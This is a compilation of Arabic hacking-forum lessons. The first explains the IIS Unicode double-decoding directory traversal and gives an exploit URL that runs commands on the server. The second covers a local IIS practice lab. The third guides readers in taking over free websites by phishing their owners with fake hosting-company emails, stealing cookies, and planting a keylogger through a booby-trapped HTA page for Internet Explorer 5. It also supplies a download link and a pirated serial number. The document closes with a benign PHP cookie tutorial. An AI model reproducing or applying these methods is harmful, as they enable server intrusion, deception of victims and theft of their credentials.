**و نأتى الان لاهم نقطه فى الثغره و هى اساسا سبب الثغره كما ذكرنا فى اول الكلام (هو ان سبب الثغره يكون حل شفره العنوان اكثر من مره )و هذا ما نطلق عليه الdecode و انا شخصيا افصل الديكودز على انه تحليل حتى نصل لابسط الحل كما فى الرياضيات يعنى simplyfiey اى تبسيط و فك المعادله تعالو خلينا نفهمكم هذا على الثغره نفسها ::

/..%255c..%255c هذا هو الديكود اى التحليل للاصل /....
ولكن ما الذى نحاول ان نفعله بهذه التحليلات الغريبه ؟
فنحن بذلك نحاول ان نحسن و نلعب فى مسارات الديريكتورز و لكن للاسف لا يمكنك تغيير او اللعب فى الديريكتورز لان ال iis مزود بخاصيه عمل check على مثل هذه الديكودز و منعها من التنفيذ و هنا يقع اصل ثغره اليونى كود و هو التحليل لمرتين او لاكثر من مره فهمتم قصدى الان اى ان الiis مزود فعلا بخاصيه ال check على هذه الديكودز و لكن انت تضع الثغره و بها اكثر من تحليل واحد لنفس اسم الموقع و لذلك يقوم ال iis بوظيفته المعتاده و هى ال check و المنع على الديكود الاول و يظهر له ان كل شئ بخير و انه يسيطر على الموقف خخخخخخخخ و لكن الحقسقه انه يعمل الcheck مره واحده فتكون النتيجه ان الديكود الثانى ينجح تماما فى محاوله اللعب فى الديريكتورز و بالتالى يكون نتيجه الديكود الثانى هو ان يرجع الى اصله اى / (slash )

و تعالو ندخل و نتعمق اكثر فى تفاصيل الديكود للثغره بعد ان عرفنا فكرتها ::
شوفو فيه ماده اسمها computer logic و الماده دى راح درس فيها شئ يسمى HexaDecimal Values و هذه ال values هى اساس الديكود الذى نفعله فى الثغره اى ان كل حرف صحيح او حركه مثل / فى الكمبيوتر لها ما يسمى بال hex value تعالى اوضحلك اكثر ::
مثلا: %20 تعنى مسافه (space)
هذا مثال بسيط و اعتقد انك فهمت الان كلامى و طبعا يوجد جدول لهذه ال hex values المساويه للحروف و الحركات العاديه فى الكمبيوتر , اذن اعتقد انك ادركت تماما الان انك ترسل hex values عوضا عن الحروف و الحركات العاديه الى السرفر و هذا بالضبط ما نسميه التحليل او فك الشفره او الdecode 

تعالى نخش فى تفاصيل الثغره اكثر و سنأخذ الحركه التى نشرح عليها هى ال / (slash ) حيث انها من اساسيات الديكود فى هذه الثغره ::
شوف فى جدول ال hex value راح نجد ان ال / = %5c , طبعا هذا هو الديكود الاول الذى ستفكر الان فى انك تحذف ال / و تضع بدلا منها هذا الvalue فتنجح الثغره و لكن انا اقول لك هذا خطأ لان هذا هو الديقود الاول و انا ذكرت ان الديكود يحدث مرتين او ممكن اكثر يعنى لو وضعت هذا الديكود الاول فستجد ان ال iis لديه القدره على ان يمسك هذا الديكود و يمكنعه من التنفيذ و لذلك علينا ان نحلل هذا ال value حتى يتم الديكود التانى فتنجح الثغره 

و بالنظر الى جدول ال hexadecimal values شوف نجد هذا ::
% = %25
5 = %35
c = %63

و بالتالى نجد انفسنا قد خدعنا ال iis checker بأننا حللنا ال شفره مرتين و بالتالى فسنحصل فى المقابل على الاصل و هو / و بالتالى تكون قد نجحت الثغره .

فهمتم الان شباب معنى ديكود العنوان مرتين و فهمتم اساس الثغره و الديكود مرتين ليس معناه تكرار التحليل الاول مرتين و لكن معناه تحليل و فك التحليل الاول اى simplify الى ابسط و اطول صوره ممكنه فى نفس الوقت 

و عشان توضح اكثر معك راح احطلك كيف التركيبه الصح للتحليل ::
%255c %25 = % 5 = 5 c = c = %5c
%%35c % = % %35 = 5 c = c = %5c
%%35%63 % = % %35 = 5 %63 = c = %5c
%25%35%63 %25 = % %35 = 5 %63 = c = %5c 

ثم : %5c =/

ارائيتم التحليل طبعا فى الاخر يجب ان يساوى الديكود الاصل و هو كما واضح فى مثالنا كل التحليلات تساوى %5c و كما ذكرنا %5c = / و لكننا حللنا هذا الرمز الى اطول و ابسط تحليل حتى نخدع ال iis checker .
و فى النهايه بعد فهمنا للثغره و اساسها هيا تعالو نطبقها مع بعض 
سوف نضع الثغره فى هذا الشكل ::
http://iisserver/scripts/..%5c..%...xe?/c+dir+c:+/s

و ستدخلون على الموقع بنجاح و لكن اكيد تلاحظون شئ جديد قد زاد على الثغره و هذا الشى هو +/s
هذا الرمز 
و عندما تدمج هذا الرمز مع الثغره كما فى المثال السابق سوف تأتيك لسته بكل فايل كبير و صغير فى كمبيوتر الويب سرفر 

و الله تعبت فى هذا الدرس و تعبت فى قرائه المعلومات و تجميعها عن اليونى كود حتى اصل لهذا الشكل الاخوه و ان شاء الله انتظرو موضوعى القادم بعدما اكون انهيت امتحانى الاول فى MCSE (ادعولى بالنجاح ) و سيكون عباره عن تلخيص للتعامل مع شبكات ويندوز 2000 و كيفيه اختراقها و فائده ال WIN2000 RESOURCE KIT.

انتهى،،،

" تدريب على عملية الإختراق بواسطة اليونيكود "

<الكاتب: ماكس هاك >

بسم الله الرحمن الرحيم..

كثر الكلام عن إختراق المواقع بأنواعه واليوم عندي شرح عن الإختراق عن طريق اليونيكود أو بالأصح تطبيق عملي على كيفية الإختراق عن طريق اليونيكود وهذا النوع يعتبر للمبتدئين وهو الذي بإذن الله سيوصلهم إلى طريق الإحتراف .....
******************
بسم الله نبدأ...
سيكون التطبيق على جهازك وهو مثل الموقع أو السيرفر وتقوم بتطبيق الدرس كما وأنك على موقع مصاب.....

لكي تتدرب على إختراق المواقع قم بتركيب نظام ويندوز2000 على جهازك . وفي نفس السيدي تبع النظام تقوم بإضافة سيرفر IIS وذلك عن طريق :
1* قم بالذهاب إلى لوحة التحكم.
2* قم بالنقر على إضافة إزالة برامج.
3* قم بالنقر على زر " إضافة إزالة مكونات ويندوز ".
4* قم بوضع علامة صح على الخيار الأول “IIS”.
هذا بالنسبة لكيفية تنزيل السيرفر..
اما عن كيفية التدرب على الجهاز أي اختراقه فقم بالتالي:ـ
قم بوضع الموقع في مجلد  wwwrootالموجود داخل مجلد Inetpub  طبعا هتدخل عليه بعد ما تشغل السيرفر IIS عن طريق
http://127.0.01/
ولإيجاد الثغرة في الجهاز والتدرب عليها قم بتشغيل برنامج عمران سكان أو أي برنامج اخر للفحص عن الثغرات تبع اليونيكود وقم بوضع العنوان تبعك الي هو http://127.0.0.1/
وقم بتطبيق المهارات التي تعلمتها في اختراق المواقع المصابة باليونيكود.
انتهى،،،

" شرح مفصل لكيفية اختراق المواقع المجانية "

<منقول من منتدى إعصار>

<الكاتب: De\/iL Ni9hT>
-=سهوله اختراق المواقع المجانيه=- 

نعم,,,ان اختراقها اسهل مماتتصور 

الاساسيات لاختراق كل شي هو الكوكيز لانه يحتوي على جميع المعلومات((الموقع,,ايميل,,الخ)) 

ولكن يجب ان تعرف عده نقاط مهمه لاختراق اي موقع مجاني 

اولا=- 

يجب عليك معرفه نوعيه اصدار المتصفح 

ثانيا=- 

عليك معرفه بعض بيانات صاحب الموقع مثل الايميل..الخ وتستطيع التوصل له ببعض الطرق=- 

ثالثا=- 

عليك اولا ايجاد الاكواد الازمه لسرقه الكوكيز من المتصفح=- 



لنــبدأ الشرح 

النقطه الاولى لمعرفه نوعيه اصدار المتصفح لصاحب الموقع سهله جدا فكل موقع يصمم على حسب نوعيه المتصفح الخاص بصاحبه ويكت لنا في نهايه الموقع يفضل تصفحه بدقه معينه ويعطيك اصدار الاكسبلور المناسب لتصفح الموقع=المناسب لتصميمه=نفس الاصدار الخاص بهوهذه اسهل نقطه واهم شئ فيها لاختراق المواقع المجانيه 

واما بالنسبه للوصول الى الضحيه فهناك عده طرق ويجب ان يكون معاك اكواد الهتمل الخاصه بسرقه الكوكيز((ساضعها هنا لاحقا))والان بعدما حصلت على هذه الاكواد تضعها في صفحه وتحاول جذب الضحيه للتوجه لها وهناك عده طرق 

1-تاخذ عنوان ماسنجر او ايميله من اي مكان في الموقع اذا وضعه وتحبه وتصير موثوق عنده((هههههههه حب مصلحه))وتعطيه صفحتك الى حطيت فيها الكوكيز او ترسل له ملف سارق الباسوورد 

2-مثلا تحدد نوعيه الشركه الى مقدمه الاستضافه المجانيه للموقع فمثلا اذا كان عنوان الموقع http://www.name.8m.com/ 

فهذا معناه ان الموقع مقدم من شركه فري سيرفر FreeServerSوتستطيع معرفه النطاق المحدده بالدخول الى المواقع المجانيه وعمل تسجيل وستظهر لك انواع الدوامين المتاحه((8m.s5....الخ 

وتسجل عندهم وسيرسلون لك البيانات ويكون لهم تصميم خاص جدا وانت عليك بسرقه نفس التصميم وتغيير محتوى الرساله((طبعا بالعنقليزي))وارسال رساله منه تتطلب منه فتح موقع((موقعك الى فيه الكود))مثلا لعمل التحديثات اواي شئ اخروهو لن يشك اذا رأى تصميم رسالتك وطريقتك نفس طريقه موقع الشركه وسيفتح الموقع حالا 

واذا لم يضع ايميله فهناك طريقه وهى انك مثلا تدخل سجل الزوار عندهوتكتب شي يقهره و يجذبه بقوه يعني مثلا تقول له تصميم موقعك مسروق حرفيا من هذا الموقع وتعطيه اللنك((وهو للمره المليون اقلكم الموقع الى فيه الكود))او اي طريقه اخرى من ذكائكواذا لم تجد ايميله او سجل زوار فهناك عليك اختراق الموقع بالثغرات وهو صعب جدا جدا 

النقطه الثالثه وهي الكوكيز=- 

يطول شرحها عشان كدا بحط شرحه في موضوع تاني مرفق معاه الاكواد الخاصه بالمتصفحات مع طريقه التعامل معها لسرقه كوكيز الضحيه وتوصيله الى جهازك 



طريقه اختراق المواقع المجانيه التى اصحابها لديهم متصفحIE 5 IE 5.5 



هذه هي الطريقه التى تستعملها اذا استطعت الوصول الى صاحب الموقع ((راجع درس "سهوله اختراق المواقع المجانيه")) 

اولا لن نعتمد على الكوكيز في سرقه الباسوورد وسنعتمد على تروجان قوي وخطير يسجل كل شي في الكيبوردولايكشفه النورتون انتي فايروس وهو الذي سنضعه في صفحه ملغومه اول مايفتحها الضحيه ينزل الى جهازه,,,, 

اولا قم بتحميل برنامج keykey2000وهذا البرنامج يسجل كل شي بالكيبورد والاشياء الى كنت تعمل بها ويرسلها على الايميل وانا مجربه ولايستطيع النورتون الجديد والازرار الثلاثه لالغاء العمليات النشطه في النظام ايقافه ووصلته 

http://www.mikkotech.com/kk2000pro.exe 

والسيريال نمبر

SN: K100-43-109-0-793218E876A4C9-29

والبرنامج سهل جدا ولا يحتاج لشرح واذا اردتم شرحه كلمونيوالان بعدما جهزت ملف الباتش بهذا البرنامج قم بتحميل برنامجgodwillوهو البرنامج الخاص لالغام الموقع على انترنت اكسبلور5 و 5.5((هذه هي سر المهنه))ووصلته 

http://www.thecorpz.org/activex/gwpackage.zip 



====================الشــــرح=====================




انا لن اقوم بعمل شرح بالصور وهذا شرح بسيط للبرنامج لانه سهل جدا 

عندما تفتح البرنامج ستظهر لك لوحه اختار منها 

enterفي الاسفل وستظهر لك القائمه والذى يهمنا منها 

Upxوهذا لتشفير الباتش((اظننا خرجنا عن موضوعنا)) 

Htmlوكل شغلنا هنا لكي نقوم بعمل صفحه ملغومه وعندما نضغط عليه تجي عده اختيارات وانت اختار منها 

General optionsوستظهر لك مربع عرض الصفحات الملغومه وهذا شرح سريع لها 

enter exe fileومن هنا تضع الباتش الى سويته بشرط الا يكون حجمه كبير جدا((هل تفيدنا هذه المعلومه في شئ)) 

enter htmlلاستعراض صفحه من جهازك ثم الغامها وحط علامه صح جانب use default pageليقوم البرنامج بعمل صفحه جديده 

وفي الاسفلHTA File Nameوهنا تضع اسم الصفحه وبعد الانتهاء من ذلك نختار كلمه Doneليقوم البرنامج بعمل الصفحه((وسيكون مكانها في نفس مجلد البرنامج)) 







وارجو ان يكون الشرح واضحا 

واذا واجهت مشكله مع البرنامج توجه الى هذا الموقع 

http://www.thecorpz.org/html/activesploits.html 

===================نهايه الشـــرح==================== 



وبعدما تقوم بوضع الصفحه الملغومه في النت واعطائها للضحيه بالطرق التى شرحتها سابقا سينزل التروجان على جهازهعندما يقوم بفتح موقعك الملغوم ولم يبقى لك الان انت تنتظر في بريدك الى حطيته في التروجان المعلومات عن الضحيه مثل((الموقع والايميل,,الخ))وهذه الطريقه تنفع ايضا لسرقه الاشتراكات واساميه في المنتديات وايميله.

انتهى،،،

" درس مفصل عن الكوكيز "

<منقول من منتديات هاكرز فلسطين>

<الكاتب: Linux Girl>

مقدمة
تعد الكعكات ( الـ cookies ) من الوسائل المفيدة في انشاء مواقع اكثر تفاعلية ، فبواسطتها ستتمكن من معرفة هل قام المتصفح بزيارة موقعك من قبل ام لا ..

في هذا الدرس سنتعرف على الكعكات و كيف يمكننا استخدامها ...

اقسام الدرس :
1- معلومات عامة .
2- زراعة الكعكات على جهاز العميل .
3- قراءة الكعكات من جهاز العميل .
4- تطبيق : تخصيص لون الخلفية .

معلومات عامة

- ما هي ملفات الكوكيز ؟
ملفات الكوكيز عبارة عن ملفات نصية ، تقوم المواقع التي تزورها بإيداعها على القرص الصلب في جهازك ، وتحتوي هذه الملفات النصية على معلومات تتيح للموقع الذي أودعها أن يسترجعها عند الحاجة ، أي عند زيارتك المقبلة للموقع .

وتختلف المعلومات التي تخزن ضمن ملفات الكوكيز من موقع لآخر ، ولكن ليس بإمكان هذه المواقع استرجاع أي معلومات إضافية عنك أو عن جهازك ، باستثناء تلك المعلومات المخزنة في الملف النصي الخاص بها ، والتي تم إرسالها من قبل الموقع ، وبذلك لا تستطيع هذه المواقع الاطلاع على مضمون ملفات الكوكيز الأخرى ، أو أي ملفات خاصة على جهازك .

- كيف يتم إيداع ملفات الكوكيز على جهازك ؟
يرسل المتصفح ، عند إدخالك عنوان موقع في شريط العناوين ، طلباً إلى الموقع الذي حددته ، متضمناً عنوان IP الخاص به ، ونوع المتصفح الذي تستخدمه ، ونظام التشغيل الذي يدير جهازك . تخزّن هذه المعلومات في ملفات خاصة بالمزود Log Files ، ولا علاقة للكوكيز بالمعلومات التي يتم إرسالها . وفي الوقت ذاته يبحث المتصفح عن ملفات كوكيز ، التي تخص الموقع المطلوب ، فإذا وجدها يتم إرسالها مع طلب مشاهدة الموقع ، وإذا لم توجد ، فإن الموقع سيدرك أن هذه زيارتك الأولى إليه ، فيقوم بإرسال ملفات الكوكيز إلى جهازك لتخزن عليه . 

وبإمكان الموقع تغيير المعلومات الموجودة ضمن ملفات الكوكيز أو إضافة معلومات جديدة كلما قمت بزيارة الموقع . يتم تخزين بعض ملفات الكوكيز في الذاكرة فقط ، بحيث يجري حذفها مباشرة عند إغلاقك المتصفح ، ولكن معظمها وتسمى "ملفات الكوكيز المثابرة"، يتم تخزينها لفترة محددة على القرص الصلب لحين انتهاء صلاحيتها وقد تدوم صلاحيتها مدة أشهر أو حتى سنوات . أما بعض ملفات الكوكيز التي تعرض تاريخ صلاحية لتاريخ سابق ، فإنها تُحذف مباشرة ولا تُخزَّن على قرصك الصلب . وتعود المعلومات المخزنة في ملفات الكوكيز إلى مزودات الموقع الذي أصدرها فقط ، وقد تعمم بعض الشركات الكبرى ملفات الكوكيز التي تصدرها على جميع مزوداتها ، لتنسيق المعلومات المتضمنة ، ولكي لا تصدر كل من مزوداتها ملفات كوكيز للمستخدم ذاته ، عند زيارته لصفحات مختلفة في الموقع .

- مكونات ملف الكوكيز :
يتكون عادة من عدة اجزاء هي اسم الملف ، قيمته ، تاريخ انتهاء مفعوله ، الموقع المالك له ...

زراعة الكعكات على جهاز العميل 

أولا : كيف تزرع ملفات الكعكات :
يتم ذلك باستخدام الدالة setcookie و تعريفها بالشكل التالي :


code:


boolean setcookie ( string name [, string value [, int expire 

[, string path [, string domain [, int secure]]]]])





تهمنا المدخلات الثلاث الاولى و هي :
name : اي اسم الكعكة ... فبامكانك ارسال اكثر من كعكة الى متصفح واحد و عندها يصبح الاسم هو الطريقة الوحيدة للتمييز .

value : القيمة ... فقط قيم نصية ... لا يمكنك وضع مصفوفة كقيمة و هذا أامر مهم ... لكن انتبه بامكانك وضع مصفوفة لكن بطريقة اخرى ... ؟ كيف ؟ : استخدم الدالة serialize لتحويل اي متغير في بي اتش بي الى شكل نصي و من ثم استخدم unserialize لاعادته الى الشكل الطبيعي .

expire : اي عدد الثواني من بدية عصر اليونكس ( 1 يناير 1970 ) و التي بعدها سيقوم المتصفح على جهاز المستخدم بحذف الكعكة ... و هنا ثلاث حالات :
--> أولاً : أن يكون الوقت المعطى كمدخل اكثر من الوقت الحالي على جهاز العميل و عندها تخزن الكعكة على جهاز العميل و تحذف عند انقضاء المدة .
--> ثانياً : أن يكون الوقت المعطى كمدخل اقل من الوقت على جهاز العميل و عندها لا يقوم المتصفح على جهاز العميل بتخزينها و اذا وجدت كعكة بنفس الاسم فانه يحذفها حتى لو لم تنتهي المدة .
--> ثالثاً : إذا لم تحدد وقتا فان الكعكة تخزن في ذاكرة المتصفح و تفقد حالما يغلق المستخدم الموقع .

مثال :

code:


<? 

setcookie('site','http://www.palhackerz.com/',time()+3600); 

?> 




من الدوال المفيدة دالة time و التي ترجع الوقت الحالي على شكل عدد الثواني من بداية عصر اليونكس (1 يناير 1970) .

ثانيا كيف تحذف او تعدل كعكة:
لكي تحذف كعكة عليك أن ترسل كعكة بنفس الاسم و خالية القيمة و ذات وقت اقل من الوقت على جهاز المستخدم

مثال :
code:


<? 

setcookie('site','',time()-360000); 

?> 




ملاحظات : 
1- عندما تحدد زمنا ماضياً اجعله قيمة كبيرة لكي تتفادى فارق التوقيت بين الخادم و العميل .
2- لكي تعدل أي كعكة عليك حذفها و إرسالها من جديد .

ملاحظة مهمة :
يجب ان تستدعي الدالة setcookie قبل أن ترسل اي شيء الى المتصفح .. فمثلا الكود التالي لن ينجح :

code:


<html> 

<body> 

<?  

setcookie('site','palhackerz.com',time()+20000); 

echo  " Alfjr.com : the best islamic forum"; 

?> 

</body> 

</html> 





بل لو كان هنالك مجرد سطر فارغ قبل علامة البداية ?> فلن تعمل الدالة setcookie ...

المثال السابق كان من الممكن ان يكون :

code:


<? setcookie('site','palhackerz.com',time()+20000);  

?> 

<html> 

<body> 

<? echo  " palhackerz.com : the best Hacking forum"; ?> 

</body> 

</html> 






قراءة الكعكات من جهاز العميل 

- كيف تستقبل المتغيرات من الكعكة :
كما قلنا بانه بامكانك ارسال اكثر من كعكة الى متصفح واحد ..
عندما يطلب المستخدم من متصفحهِ صفحة على موقعك فان المتصفح يقوم بارسال جميع الكعكات التي قمت انت بزراعتها عند المستخدم ... PHP تسهل عليك قراءة هذه الكعكات و تخزنها في مصفوفة اسمها COOKIE_$ و هي مصفوفة من النوع Associative Arrays بحيث ان المفتاح هو اسم الكعكة و القيمة قيمة الكعكة كما ارسلتها .

مثال :

code:


<? 

echo $_COOKIE['site'];  

?> 




و هذه تطبع : 
code:


palhackerz.com


تطبيق : تخصيص لون الخلفية 

كمثال بسيط دعنا نقوم بانشاء موقع مبسط و نستخدم الكعكات لكي نحفظ لون الخلفية المحببة الى الشخص ..

- ماذا لدينا ؟
1- الملف user.php : يقوم الملف بعمليتين :
--> الاولى : تحديد اللون الذي اختاره الزائر .
--> الثانية : عرض نموذج اختيار الللون و حفظ اللون المختار

2- الملف index.php إحدى صفحات الموقع و التي تستفيد من خدمات الملف user.php .

وإليك الكود الخاص بكل ملف :
1- الملف user.php :
code:


<? 

/*----------------------- 

Cookies-Based Background Selector.. 

Created By : "Rasha"<rasha@h4palestine.com> 

For : h4palestine.com 

-------------------------*/ 

function display_form(){ 

?> 

<html> 

<body> 

<!-- Color setting Form --> 

<form name=color_select method="GET"> 

<INPUT type="hidden" name="do" value="set_color"> 

<INPUT name="color" type="text" value=" 

<? echo get_color(); ?>"> 

<INPUT type="submit" value="احفظ اللون"> 

</FORM> 

<!-- Color Clearing Form --> 

<form name=color_clear method="GET"> 

<INPUT type="hidden" name="do" value="clear_color"> 

<INPUT type="submit" value="لا تتذكر لوني المفضل"> 

</FORM> 

<? 

} 

function set_color(){ 

global $_GET; 

setcookie('color',$_GET['color'],time()+36000); 

header('Location:index.php'); 

} 

function get_color(){ 

global $_COOKIE; 

if(isset($_COOKIE['color'])){ 

return $_COOKIE['color']; 

}else{ 

return "#FFFFFF"; 

} 

} 

function clear_color(){ 

setcookie('color',$_GET['color'],time()-36000); 

header('Location:index.php'); 

} 

// selection 

if ($do=='display_form'){ 

display_form(); 

}elseif ($do=="set_color"){ 

set_color(); 

}elseif ($do=="clear_color"){ 

clear_color(); 

} 

?>




- الدالة الاولى display_form تقوم فقط بعرض نموذج اختيار اللون .
- الدالة الثانية set_color تقوم بحفظ اللون المختار في كعكة و ترجع المستخدم الى الصفحة الرئيسية .
- الدالة الثالثة get_color ترجع قيمة اللون من الكعكة و اذا لم يكن هنالك قيمة فانها ترجع لون افتراضي وهو الابيض .
- الدالة الرابعة clear_color تقوم بمسح الكعكة بالطريقة التي ذكرناها في الدرس .

2- ملف الـ index.php : 
ملف عادي جداً الا انه يطلب الدالة get_color من ملف user.php كما يلي :

code:


<html> 

<BODY bgcolor="<? include('user.php');  

echo get_color() ?>"> 

<h1>مرحبا بك .....</h1> 

<br> 

يمكنك تخصيص لون الخلفية من هنا 

<br> 

<a href="user.php?do=display_form"> صفحة تخصيص اللون</a> 

</body> 

</html> 




انتهى،،،

يتبع

